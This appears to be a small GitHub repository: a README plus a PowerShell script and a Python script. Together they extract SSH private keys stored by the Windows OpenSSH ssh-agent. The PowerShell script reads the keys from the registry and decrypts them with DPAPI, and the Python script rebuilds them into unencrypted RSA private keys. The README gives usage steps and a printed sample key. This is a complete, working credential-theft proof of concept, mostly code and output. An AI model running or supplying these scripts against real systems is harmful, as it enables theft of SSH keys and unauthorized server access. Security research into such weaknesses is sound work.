├── README.md ├── extractPrivateKeys.py └── extract_ssh_keys.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | These scripts are a PoC for how to extract unencrypted private SSH keys from Windows when the new OpenSSH `ssh-agent.exe` is used. 3 | 4 | When adding private keys to `ssh-agent`, Windows protects the private keys with DPAPI and stores them as registry entries under `HKCU:\Software\OpenSSH\Agent\Keys` 5 | 6 | With elevated privileges, it is possible to pull out the binary blobs from the registry and unprotect them using DPAPI. These blobs can then be restructured into the original, unencrypted private RSA keys. 7 | 8 | All credit for the Python code should go to the original implementatoin by soleblaze and his script `parse-mem.py` [here](https://github.com/NetSPI/sshkey-grab/blob/master/parse_mem.py) 9 | 10 | # Usage 11 | From an elevated Powershell prompt, use `extract_ssh_keys.ps1` to generate a JSON file which contains the Base64 data of the unprotected SSH keys. This script works by enumerating all SSH keys stored in the registry and calling DPAPI with the "Current User" context to unprotect the binary data. 12 | 13 | ``` 14 | C:\tools> .\extract_ssh_keys.ps1 15 | Pulling key: .\ropnopkey2 16 | Pulling key: .\ropnopkey1 17 | extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json 18 | ``` 19 | 20 | The Python script requires Python 3 and the `pyasn1` package. Run the Python script on the saved JSON file to re-construct the original, uncnecrypted RSA private keys: 21 | 22 | ``` 23 | C:\tools> python .\extractPrivateKeys.py .\extracted_keyblobs.json 24 | [+] Key Comment: .\ropnopkey2 25 | -----BEGIN RSA PRIVATE KEY----- 26 | MIIEpAIBAAKCAQEAtekm5ikm0lh9fIiqslAUVUAhbI48/+khBFstx7jbz0XfcvAo 27 | XS3wxeer7UeaIXRJAXARy4ARi6fk9W6PfdP3zKFd7D1MV1WG0FAogxWUXOxiYxgZ 28 | yihsYNQ2NQmnVrW2C67+RZ2tTwNEEUGRVPi0QRjLlwXWPm6+0bFF4d0A7ivwTa0+ 29 | EYVow48E74v5BMOxW+h87ZassRvAO22vZXV7Tr/VnwM3GoLPXTSAUxVsO0nhDs07 30 | JCXsu8oO7zH3Ql/I330QxAYo3qG0c/Ega3m474vVdIQOYdiaYxmN1u29wR9MAUNx 31 | /fY9yOTc0+prwWVt5GqZ3y89d9PI1VJfqNa6LQIDAQABAoIBAQCLjycHtxSQldEY 32 | BKWojWU8DipWZT2JO+rXs7gInNsORtXqETN2YTNyMY2mSaOG/PaxgrA0RrmvQgyW 33 | +s5dQ4y90iMDhfeWnQgDsyuRfbHIJJZK3geTH7YeB1DbGd/m1xumFQgAkrqOfrvu 34 | 3TXJUdDAjGxNHe5DEaWVrIIniO0YyxMV10M2s2D6GtNHBjzop9YDegvkeQxNbO0K 35 | tKcDhJ/QPrkT+J8yCnRpStYC+kNlbOlBKkmdTJ5nhtmlZ8mWqpIgocvKrOZavsAh 36 | 7SKpWt/Sjjoc+8wwt4dNiy8WnbHGFPb6W9lxdjDxpmoTn2bQOaS0oo61KJU7m60O 37 | SdgQwtUBAoGBAOXhnKWe2wKN/sx+/PYEvh2bi5xtugcOufCTqFlTYpxsgG0717s2 38 | 1Ljwh7yjtTv6bS+6tXFrAy8QhKwLiuXnn8OAaPb9hMbpqGDhk04GcDWP/1oqS/2Y 39 | gMfeoBF6P3+q969kFbZwMCj/zsOEXnwTJGN6bxHBKassslts3Lf8jVjtAoGBAMqU 40 | QY0EebxJAQm3BgsQ0fsNli0CFGAm7iSlYmsSkcbcwZfL9hzxccKZDpZpXr2WV9wf 41 | dqfUoQyowSbZEz5kcuEeRe4Ofzf0ADs0fdMYRg0fvZ9JUCsTq+ecj3U25vNeXW9F 42 | kD7mYnEbY9lMkMvna4uthraxBQEZyyWjHsu2mP5BAoGBALukYFBUjeLU8zILSgKr 43 | NmBGkjw62Mlf/OjiLl3Tkb+rVV1UprCbfiIDvFh/rLTromp+VhLhTfUB37nrphIp 44 | 8iAL1iIeKF6RZa7HEo1y9e7SvpXjxqmW7S+4iiIaDnDwpkLVSF/lzXn57NVtXA6d 45 | NWu6CaWNbazazC+Secv464u1AoGAdK2tj75bK3JU8baD+Y2nk9UAgU3oVHU3xs2n 46 | AQrCAesWagrk50i9gBrOBx4LnmDgm/1XR1U1qWftUCXJaq9KZ5UbLAEXjy+vjmou 47 | ao5ZkqeMfRkp3pXG9nD7Q8TqgpQAdt13NnNVkdX3zanG4FqbW+kHZWRSAI9NrZDl 48 | ZOn39sECgYBj6IPFbBxllysESiV6Tcvb98ffKjWBvL3MM4ENfzlH0fCNGNkVPDvn 49 | ufMwjM3PqhUFXVBQHm0eMZDLLcLpLUxxIpiOdmLDk6XhAY+1Vc90OmDrCoADUxdg 50 | Eq/hFJMNz4ZMio4KVd+BUVM2rt4zjq0tcxtOrMABdddCRBkuwhluSQ== 51 | -----END RSA PRIVATE KEY----- 52 | ``` 53 | 54 | Blog post here explaining my process: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent 55 | 56 | ## Credits 57 | https://gist.github.com/atifaziz/10cb04301383972a634d0199e451b096 58 | 59 | https://blog.netspi.com/stealing-unencrypted-ssh-agent-keys-from-memory/ 60 | 61 | https://github.com/NetSPI/sshkey-grab 62 | 63 | -------------------------------------------------------------------------------- /extractPrivateKeys.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Script to extract OpenSSH private RSA keys from base64 data 4 | # Original implementation and all credit due to this script by soleblaze: 5 | # https://github.com/NetSPI/sshkey-grab/blob/master/parse_mem.py 6 | 7 | 8 | import sys 9 | import base64 10 | import json 11 | try: 12 | from pyasn1.type import univ 13 | from pyasn1.codec.der import encoder 14 | except ImportError: 15 | print("You must install pyasn1") 16 | sys.exit(0) 17 | 18 | 19 | def extractRSAKey(data): 20 | keybytes = base64.b64decode(data) 21 | offset = keybytes.find(b"ssh-rsa") 22 | if not offset: 23 | print("[!] No valid RSA key found") 24 | return None 25 | keybytes = keybytes[offset:] 26 | 27 | # This code is re-implemented code originally written by soleblaze in sshkey-grab 28 | start = 10 29 | size = getInt(keybytes[start:(start+2)]) 30 | # size = unpack_bigint(keybytes[start:(start+2)]) 31 | start += 2 32 | n = getInt(keybytes[start:(start+size)]) 33 | start = start + size + 2 34 | size = getInt(keybytes[start:(start+2)]) 35 | start += 2 36 | e = getInt(keybytes[start:(start+size)]) 37 | start = start + size + 2 38 | size = getInt(keybytes[start:(start+2)]) 39 | start += 2 40 | d = getInt(keybytes[start:(start+size)]) 41 | start = start + size + 2 42 | size = getInt(keybytes[start:(start+2)]) 43 | start += 2 44 | c = getInt(keybytes[start:(start+size)]) 45 | start = start + size + 2 46 | size = getInt(keybytes[start:(start+2)]) 47 | start += 2 48 | p = getInt(keybytes[start:(start+size)]) 49 | start = start + size + 2 50 | size = getInt(keybytes[start:(start+2)]) 51 | start += 2 52 | q = getInt(keybytes[start:(start+size)]) 53 | 54 | e1 = d % (p - 1) 55 | e2 = d % (q - 1) 56 | 57 | keybytes = keybytes[start+size:] 58 | 59 | seq = ( 60 | univ.Integer(0), 61 | univ.Integer(n), 62 | univ.Integer(e), 63 | univ.Integer(d), 64 | univ.Integer(p), 65 | univ.Integer(q), 66 | univ.Integer(e1), 67 | univ.Integer(e2), 68 | univ.Integer(c), 69 | ) 70 | 71 | struct = univ.Sequence() 72 | 73 | for i in range(len(seq)): 74 | struct.setComponentByPosition(i, seq[i]) 75 | 76 | raw = encoder.encode(struct) 77 | data = base64.b64encode(raw).decode('utf-8') 78 | 79 | width = 64 80 | chopped = [data[i:i + width] for i in range(0, len(data), width)] 81 | top = "-----BEGIN RSA PRIVATE KEY-----\n" 82 | content = "\n".join(chopped) 83 | bottom = "\n-----END RSA PRIVATE KEY-----" 84 | return top+content+bottom 85 | 86 | def getInt(buf): 87 | return int.from_bytes(buf, byteorder='big') 88 | 89 | 90 | def run(filename): 91 | with open(filename, 'r') as fp: 92 | keysdata = json.loads(fp.read()) 93 | 94 | for jkey in keysdata: 95 | for keycomment, data in jkey.items(): 96 | privatekey = extractRSAKey(data) 97 | print("[+] Key Comment: {}".format(keycomment)) 98 | print(privatekey) 99 | print() 100 | 101 | sys.exit(0) 102 | 103 | 104 | 105 | if __name__ == '__main__': 106 | if len(sys.argv) != 2: 107 | print("Usage: {} extracted_keyblobs.json".format(sys.argv[0])) 108 | sys.exit(0) 109 | filename = sys.argv[1] 110 | run(filename) -------------------------------------------------------------------------------- /extract_ssh_keys.ps1: -------------------------------------------------------------------------------- 1 | $path = "HKCU:\Software\OpenSSH\Agent\Keys\" 2 | 3 | $regkeys = Get-ChildItem $path | Get-ItemProperty 4 | 5 | if ($regkeys.Length -eq 0) { 6 | Write-Host "No keys in registry" 7 | exit 8 | } 9 | 10 | $keys = @() 11 | 12 | Add-Type -AssemblyName System.Security; 13 | 14 | $regkeys | ForEach-Object { 15 | $key = @{} 16 | $comment = [System.Text.Encoding]::ASCII.GetString($_.comment) 17 | Write-Host "Pulling key: " $comment 18 | $encdata = $_.'(default)' 19 | $decdata = [Security.Cryptography.ProtectedData]::Unprotect($encdata, $null, 'CurrentUser') 20 | $b64key = [System.Convert]::ToBase64String($decdata) 21 | $key[$comment] = $b64key 22 | $keys += $key 23 | } 24 | 25 | ConvertTo-Json -InputObject $keys | Out-File -FilePath './extracted_keyblobs.json' -Encoding ascii 26 | Write-Host "extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json" 27 | 28 | 29 | 30 | 31 | --------------------------------------------------------------------------------